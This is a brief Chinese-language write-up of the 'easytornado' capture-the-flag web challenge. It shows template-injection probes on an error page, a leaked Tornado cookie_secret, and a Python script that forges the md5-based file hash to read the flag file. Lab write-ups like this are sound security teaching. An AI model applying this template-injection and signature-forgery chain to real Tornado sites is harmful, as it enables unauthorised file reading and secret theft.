攻防世界31-easytornado-CTFWeb

访问后有几个链接看看,得到的信息:

  • flag在 /fllllllllllllag下
  • 暗示:md5(cookie_secret+md5(filename))
  • 得到的路径:file?filename=/flag.txt&filehash=21a073b29aae29b74a5eb92d46d91b95

思考cookie_secret是什么

先改成file?filename=/fllllllllllllag&filehash=21a073b29aae29b74a5eb92d46d91b95试试

报错得到:error?msg=Error的路径,显示error,看看是否存在ssti

error?msg={{7*7}} 显示orz,但是改成error?msg=abc显示abc了

查资料(偷看wp),发现在Tornado里,应用的设置可以通过handler.settings访问

tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类 RequestHandler.settings又指向self.application.settings

所以我们可以说handler.settings指向了RequestHandler.settings了

返回{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '8358f121-f98d-4964-9d92-0694dda574ed'}

cookie_secret=8358f121-f98d-4964-9d92-0694dda574ed

注意这里可能不能用在线网站的md5转换,因为不能指定utf-8

import hashlib

cookie='8358f121-f98d-4964-9d92-0694dda574ed'
file_filename='/fllllllllllllag'
md5_filename=hashlib.md5(file_filename.encode(encoding='UTF-8')).hexdigest()
word=cookie+md5_filename
flag=hashlib.md5(word.encode(encoding='UTF-8')).hexdigest()
print(flag)

payload:file?filename=/fllllllllllllag&filehash=eaf9d625069a4257c4b6535a25903f5e